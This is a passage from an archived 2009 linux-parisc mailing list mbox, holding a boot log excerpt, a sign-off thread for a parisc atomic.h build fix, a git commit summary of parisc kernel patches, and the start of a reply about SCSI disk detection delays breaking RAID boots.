> Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-2: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-2:1.0: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-2:1.1: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-2:1.2: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179627.072000] Adding 498004k swap on 
> /dev/sdb4.  Priority:-1 extents:1 across:498004k
> Mar 29 08:46:07 czapp005 kernel: [17179637.300000] EXT3 FS on dm-0, 
> internal journal
> Mar 29 08:46:07 czapp005 kernel: [17179638.544000] LASI 82596 driver - 
> Revision: 1.30
> Mar 29 08:46:07 czapp005 kernel: [17179638.588000] loop: module loaded
> Mar 29 08:46:07 czapp005 kernel: [17179642.092000] kjournald starting.  
> Commit interval 5 seconds
> Mar 29 08:46:07 czapp005 kernel: [17179642.096000] EXT3 FS on sda3, 
> internal journal
> Mar 29 08:46:07 czapp005 kernel: [17179642.100000] EXT3-fs: mounted 
> filesystem with ordered data mode.
> Mar 29 08:46:07 czapp005 kernel: [17179642.128000] kjournald starting.  
> Commit interval 5 seconds
> Mar 29 08:46:07 czapp005 kernel: [17179642.152000] EXT3 FS on dm-1, 
> internal journal
> Mar 29 08:46:07 czapp005 kernel: [17179642.156000] EXT3-fs: mounted 
> filesystem with ordered data mode.
> Mar 29 08:46:07 czapp005 kernel: [17179642.196000] kjournald starting.  
> Commit interval 5 seconds
> Mar 29 08:46:07 czapp005 kernel: [17179642.200000] EXT3 FS on dm-2, 
> internal journal
> Mar 29 08:46:07 czapp005 kernel: [17179642.204000] EXT3-fs: mounted 
> filesystem with ordered data mode.
> Mar 29 08:46:09 czapp005 kernel: [17179647.156000] eth0: Setting 
> full-duplex based on MII#1 link partner capability of 41e1.
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] Phonet:fix build problem
Date: Mon, 30 Mar 2009 22:41:24 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090331024124.GA30601@bombadil.infradead.org>
References: <20090320115838.GA26371@orion> <20090321.165950.248659848.davem@davemloft.net> <a4423d670903211719m76baeab0k51f054058d6f5134@mail.gmail.com> <1237694320.25297.3.camel@localhost.localdomain> <20090322160629.GA23227@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238467346 19501 80.91.229.12 (31 Mar 2009 02:42:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 Mar 2009 02:42:26 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Alexander Beregalov <a.beregalov@gmail.com>,
	David Miller <davem@davemloft.net>, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1761913AbZCaClu@vger.kernel.org Tue Mar 31 04:43:43 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1761913AbZCaClu@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoTx1-0007M7-9j
	for glk-linux-kernel-3@gmane.org; Tue, 31 Mar 2009 04:43:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761913AbZCaClu (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 30 Mar 2009 22:41:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754269AbZCaCld
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 30 Mar 2009 22:41:33 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40413 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761588AbZCaCla (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 30 Mar 2009 22:41:30 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LoTum-0007cP-LN; Tue, 31 Mar 2009 02:41:24 +0000
Content-Disposition: inline
In-Reply-To: <20090322160629.GA23227@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:814877 gmane.linux.network:124153 gmane.linux.ports.parisc:1427
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1427>

On Sun, Mar 22, 2009 at 12:06:29PM -0400, Kyle McMartin wrote:
> On Sun, Mar 22, 2009 at 03:58:40AM +0000, James Bottomley wrote:
> > > > I think that platform's atomic_add() implementation should
> > > > be fixed instead.
> > > 
> > > It is parisc, CC added.
> > 
> > Looks like a macro argument screw up in atomic.h
> > 
> > This should fix it (uncompiled, of course).
> > 
> 
> Looks correct to me. Applied. Thanks everyone.
>

Oh, bah, want to resend that with a sign-off, James?

regards, Kyle

From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Tue, 31 Mar 2009 02:52:37 GMT
Lines: 194
Approved: news@gmane.org
Message-ID: <200903310252.n2V2qbHY009757@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1238467970 20586 80.91.229.12 (31 Mar 2009 02:52:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 Mar 2009 02:52:50 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 31 04:54:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoU75-0000rM-Hb
	for glpp-linux-parisc@gmane.org; Tue, 31 Mar 2009 04:54:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756262AbZCaCwm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2009 22:52:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755718AbZCaCwm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Mar 2009 22:52:42 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:53351 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755509AbZCaCwl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2009 22:52:41 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+MGGi6AmpvL0eaZtswrNz/eV7CKNV7i6A@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n2V2qcIx009763
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 31 Mar 2009 02:52:38 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n2V2qbHY009757
	for linux-parisc@vger.kernel.org; Tue, 31 Mar 2009 02:52:37 GMT
X-Virus-Scanned: ClamAV 0.93.3/9181/Mon Mar 30 15:21:09 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 31 Mar 2009 02:52:39 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1428
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1428>

New commits:
commit 2d6d79bbe589b74c0a6612fc88e4d150f8dfa1e1
Author: Alexander Beregalov <a.beregalov@gmail.com>
Date:   Fri Mar 20 13:00:11 2009 +0300

    parisc: iosapic: fix build breakage
    
    drivers/parisc/iosapic.c:717: error: incompatible types in assignment
    
    irq_desc::affinity was changed from cpumask_t to cpumask_var_t in
    7f7ace0cda (cpumask: update irq_desc to use cpumask_var_t)
    
    Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c48faf86b0d59cc43ff4eede59c4af7afbd7c0ff
Author: Helge Deller <deller@gmx.de>
Date:   Mon Feb 16 03:03:11 2009 +0000

    parisc: oops_enter()/oops_exit() in die()
    
    As pointed out by Russell in http://marc.info/?l=linux-arch&m=118208089204630&w=2
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit c84c3a698f17ae5d55a6ecc76298fb894e106336
Author: Helge Deller <deller@gmx.de>
Date:   Tue Dec 30 02:47:38 2008 +0000

    parisc: document light weight syscall ABI
    
    Document the LWS ABI including implementation notes for
    userspace, and comment cleanup.
    
    Remove extraneous .align 16 after lws_lock_start.
    
    Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 8a1def457bab9f9654bd4dbb1e3eea6fedd26afa
Author: Helge Deller <deller@gmx.de>
Date:   Tue Jan 6 14:23:13 2009 +0100

    parisc: blink all or loadavg LEDs on oops
    
    - depending on machine type, blink all leds or just the loadavg
      leds twice a second on oops.
    - cancel_rearming_delayed_workqueue() is obsolete,
      use cancel_delayed_work_sync() instead
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit d75f054a2cf0614ff63d534ff21ca8eaab41e713
Author: Helge Deller <deller@gmx.de>
Date:   Mon Feb 9 00:43:36 2009 +0100

    parisc: add ftrace (function and graph tracer) functionality
    
    This patch adds the ftrace debugging functionality to the parisc kernel.
    It will currently only work with 64bit kernels, because the gcc options -pg
    and -ffunction-sections can't be enabled at the same time and -ffunction-sections
    is still needed to be able to link 32bit kernels.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 803094f480aa5b7dd5187a17e6e60ff24721c212
Author: Helge Deller <deller@gmx.de>
Date:   Fri Feb 13 23:58:29 2009 +0100

    parisc: simplify sys_clone()
    
    No need to test clone_flags here and set parent_tidptr and child_tidptr
    accordingly. The same check will be done in do_fork() and copy_process() anyway.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 548f1176f0ac637eff895defb715ce6fde7c460a
Author: Helge Deller <deller@gmx.de>
Date:   Fri Feb 6 21:50:39 2009 +0100

    parisc: add LATENCYTOP_SUPPORT and CONFIG_STACKTRACE_SUPPORT
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit afca2523876301cc6130fc3cc402173eeeb89830
Author: Helge Deller <deller@gmx.de>
Date:   Thu Feb 5 00:06:00 2009 +0100

    parisc: allow to build with 16k default kernel page size
    
    Introduce new convert_for_tlb_insert20 macro and use it to replace assembler
    statements with hardcoded constants.
    This change allows the parisc64 kernel to boot with 16kb default kernel page size,
    aka CONFIG_PARISC_PAGE_SIZE_16KB=y.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 445c088f88d63db49598390be3525252d211688f
Author: Colin Watson <cjwatson@canonical.com>
Date:   Fri Jan 30 01:03:50 2009 +0000

    parisc: expose 32/64-bit capabilities in cpuinfo
    
    It'd be rather useful for debian-installer if we could get hold of
    accurate firmware information on whether only 32-bit kernels are
    supported, only 64-bit kernels, or both; this would allow us to present
    an accurate menu of kernel packages if more than one is available,
    rather than the user having to guess. This patch attempts to expose it
    in cpuinfo.
    
    I adjusted pdc_model_capabilities to cope with a potential
    PDC_INVALID_ARG return as the firmware manual instructs, by assuming
    32-bit only. This may be the wrong place for it.
    
    I made up user-visible capability names by total fiat and for the moment
    ignored the other bits that may appear in the capabilities word.
    
    I have no PA-RISC machine myself to test on, and no PA experience
    either, so I rather hope that somebody will kind-heartedly take this and
    fix it up if needed. I ran it past Dann Frazier on IRC and he said
    "looks good to me", but I think without testing.
    
    Also, this is against the Ubuntu 2.6.28 kernel tree since that's what I
    had handy and I was a bit tight on disk space to slurp down another
    tree. Sorry if it's skewed in any relevant way; I'll be happy to adjust
    if necessary.
    
    Thanks in advance!
    
    Signed-off-by: Colin Watson <cjwatson@canonical.com>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 1152a68c4226ce48c95241b6ffc543850b4b3a97
Author: Helge Deller <deller@gmx.de>
Date:   Sun Jan 18 19:30:18 2009 +0100

    parisc: use constants instead of numbers in assembly
    
    A few small fixups:
    * _PAGE_SIZE_ENCODING_DEFAULT is wrong here, as one might assume that
      it's possible to define the page size that way. This is wrong. Use 0 instead.
    * use constants instead of hardcoded numerical values in depi and extru
      while building the PFN out of the pte entry
    * use SHRREG instead of extru (iitlba expects the PFN at bits {7..26})
    
    Still wondering why we can use the same register (pte) as extru source
    and target register, but it seems to work on PA1.1 and PA2.0...
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 48d27cb2299c0b2fc4d551bddb6a1005828dc0c6
Author: Helge Deller <deller@gmx.de>
Date:   Sun Jan 18 19:16:16 2009 +0100

    parisc: fix usage of 32bit PTE page table entries on 32bit kernels
    
    This patch fixes a long outstanding bug on 32bit parisc linux kernels
    which prevented us from using 32bit PTE table entries (instead of 64bit
    entries of which 32bit were unused).
    
    The problem was caused by this assembler statement in the L2_ptep
    macro in arch/parisc/kernel/entry.S:447:
    	EXTR \va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
    which expanded to
    	extrw,u r8,9,11,r1
    and which has undefined behavior since the length value (11) extends
    beyond the leftmost bit (11-1 > 9).
    Interestingly PA2.0 processors seem to don't care and just zero-extend
    the value, while PA1.1 processors don't.
    
    Fix this problem by detecting an address space overflow with ASM_BITS_PER_PGD
    and adjusting it accordingly. To prevent such problems in the future,
    some compile time sanity checks in arch/parisc/mm/init.c were added.
    
    Since the page table now only consumes half of it's old size, we can
    use the freed memory to harmonize 32- and 64bit kernels and let both
    map 16MB for the initial page table.
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] Phonet:fix build problem
Date: Mon, 30 Mar 2009 23:07:54 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20090331030754.GA9923@bombadil.infradead.org>
References: <20090320115838.GA26371@orion> <20090321.165950.248659848.davem@davemloft.net> <a4423d670903211719m76baeab0k51f054058d6f5134@mail.gmail.com> <1237694320.25297.3.camel@localhost.localdomain> <20090322160629.GA23227@bombadil.infradead.org> <20090331024124.GA30601@bombadil.infradead.org> <1238468776.11257.0.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238468894 22544 80.91.229.12 (31 Mar 2009 03:08:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 Mar 2009 03:08:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Alexander Beregalov <a.beregalov@gmail.com>,
	David Miller <davem@davemloft.net>, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 31 05:09:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoULt-000325-5I
	for glpp-linux-parisc@gmane.org; Tue, 31 Mar 2009 05:09:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754906AbZCaDIA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2009 23:08:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754437AbZCaDIA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Mar 2009 23:08:00 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35357 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752982AbZCaDH7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2009 23:07:59 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LoUKQ-0002d8-2n; Tue, 31 Mar 2009 03:07:54 +0000
Content-Disposition: inline
In-Reply-To: <1238468776.11257.0.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1429 gmane.linux.network:124154 gmane.linux.kernel:814887
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1429>

On Mon, Mar 30, 2009 at 10:06:16PM -0500, James Bottomley wrote:
> On Mon, 2009-03-30 at 22:41 -0400, Kyle McMartin wrote:
> > On Sun, Mar 22, 2009 at 12:06:29PM -0400, Kyle McMartin wrote:
> > > On Sun, Mar 22, 2009 at 03:58:40AM +0000, James Bottomley wrote:
> > > > > > I think that platform's atomic_add() implementation should
> > > > > > be fixed instead.
> > > > > 
> > > > > It is parisc, CC added.
> > > > 
> > > > Looks like a macro argument screw up in atomic.h
> > > > 
> > > > This should fix it (uncompiled, of course).
> > > > 
> > > 
> > > Looks correct to me. Applied. Thanks everyone.
> > >
> > 
> > Oh, bah, want to resend that with a sign-off, James?
> 
> You can add:
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
>

Thanks! Sorted.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: [PATCH] Phonet:fix build problem
Date: Mon, 30 Mar 2009 22:06:16 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <1238468776.11257.0.camel@mulgrave.int.hansenpartnership.com>
References: <20090320115838.GA26371@orion>
	 <20090321.165950.248659848.davem@davemloft.net>
	 <a4423d670903211719m76baeab0k51f054058d6f5134@mail.gmail.com>
	 <1237694320.25297.3.camel@localhost.localdomain>
	 <20090322160629.GA23227@bombadil.infradead.org>
	 <20090331024124.GA30601@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238469171 23077 80.91.229.12 (31 Mar 2009 03:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 Mar 2009 03:12:51 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	David Miller <davem@davemloft.net>, netdev@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 31 05:14:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoUQR-0004mT-If
	for glpp-linux-parisc@gmane.org; Tue, 31 Mar 2009 05:14:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753191AbZCaDMl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Mar 2009 23:12:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753716AbZCaDMl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Mar 2009 23:12:41 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50517 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753191AbZCaDMk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Mar 2009 23:12:40 -0400
X-Greylist: delayed 381 seconds by postgrey-1.27 at vger.kernel.org; Mon, 30 Mar 2009 23:12:40 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3ABBD8EE162;
	Mon, 30 Mar 2009 20:06:18 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gu0TeHYJQOck; Mon, 30 Mar 2009 20:06:18 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 34D828EE128;
	Mon, 30 Mar 2009 20:06:17 -0700 (PDT)
In-Reply-To: <20090331024124.GA30601@bombadil.infradead.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1430 gmane.linux.network:124155 gmane.linux.kernel:814888
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1430>

On Mon, 2009-03-30 at 22:41 -0400, Kyle McMartin wrote:
> On Sun, Mar 22, 2009 at 12:06:29PM -0400, Kyle McMartin wrote:
> > On Sun, Mar 22, 2009 at 03:58:40AM +0000, James Bottomley wrote:
> > > > > I think that platform's atomic_add() implementation should
> > > > > be fixed instead.
> > > > 
> > > > It is parisc, CC added.
> > > 
> > > Looks like a macro argument screw up in atomic.h
> > > 
> > > This should fix it (uncompiled, of course).
> > > 
> > 
> > Looks correct to me. Applied. Thanks everyone.
> >
> 
> Oh, bah, want to resend that with a sign-off, James?

You can add:

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: delay in disc detection causes boot failure
Date: Tue, 31 Mar 2009 12:30:53 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <7d01f9f00903310330j50c1a8fl63502ddfd406f9c9@mail.gmail.com>
References: <49D118F7.5040809@seznam.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238495480 22419 80.91.229.12 (31 Mar 2009 10:31:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 31 Mar 2009 10:31:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: AlesD <ales_d@seznam.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 31 12:32:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LobGc-0005m4-3F
	for glpp-linux-parisc@gmane.org; Tue, 31 Mar 2009 12:32:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752137AbZCaKbA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 31 Mar 2009 06:31:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751464AbZCaKbA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 31 Mar 2009 06:31:00 -0400
Original-Received: from mail-bw0-f169.google.com ([209.85.218.169]:38381 "EHLO
	mail-bw0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752137AbZCaKbA convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 31 Mar 2009 06:31:00 -0400
Original-Received: by bwz17 with SMTP id 17so2294270bwz.37
        for <linux-parisc@vger.kernel.org>; Tue, 31 Mar 2009 03:30:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=ExMOzYqlOwcIIhptxacxzKP+pR5U1UD/eM4qRbjOQ1E=;
        b=kaysNfBwQTYUJlSc4JnzD/tR5iSTByIBnKn5Xdfq2B5Tv86Qwj/VEJdj8b95ww/On3
         zq0b7tkq6OeQqhQFBv8qySe24APFcVriouYbBVBOjt34VthmhzoTEgdivzy45Ms5dptw
         ppA92Rc0p1/KvpUVzT8JGvm8hIcz7Y0o2D+1Y=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=i85Nz+OrxbYYAYKX4VBcE6GfaXIqZXkBItEtrpbaBXz6ODfarcNevliU6ilRgMTX9X
         SxmbDgv6zEaRwgyBWDd05xWUvSQgUOaUKVk8YJbM7Kt/yH+pZ1dyFO69A0Q0n88WmP2i
         cQ+B85L+yhuA72XtmCm8XhhoTePcdDj7vI7c8=
Original-Received: by 10.223.120.197 with SMTP id e5mr4931434far.25.1238495454309; Tue, 
	31 Mar 2009 03:30:54 -0700 (PDT)
In-Reply-To: <49D118F7.5040809@seznam.cz>
X-Google-Sender-Auth: c9d011d346d1bc9b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1431>

2009/3/30 AlesD <ales_d@seznam.cz>:
> Hello,
>
> =C2=A0I have installed HP-PA port of Debian 5.0 and got into followin=
g problem.
>
> The root filesystem is on SW RAID. At the end of kernel initializatio=
n comes
> reset on SCSI bus. After this reset it takes about 6 seconds before t=
he
> attached SCSI disks become "visible" and are detected by kernel. The
> initialization process however goes on and during this 6s it tries to
> assemble the MD device. Since the discs do not exist yet the assembly=
 fails
> and root filesystem is not found. The init script waits 3 minutes bef=
ore
> giving up - which would normaly do the trick if the root was directly=
 in one
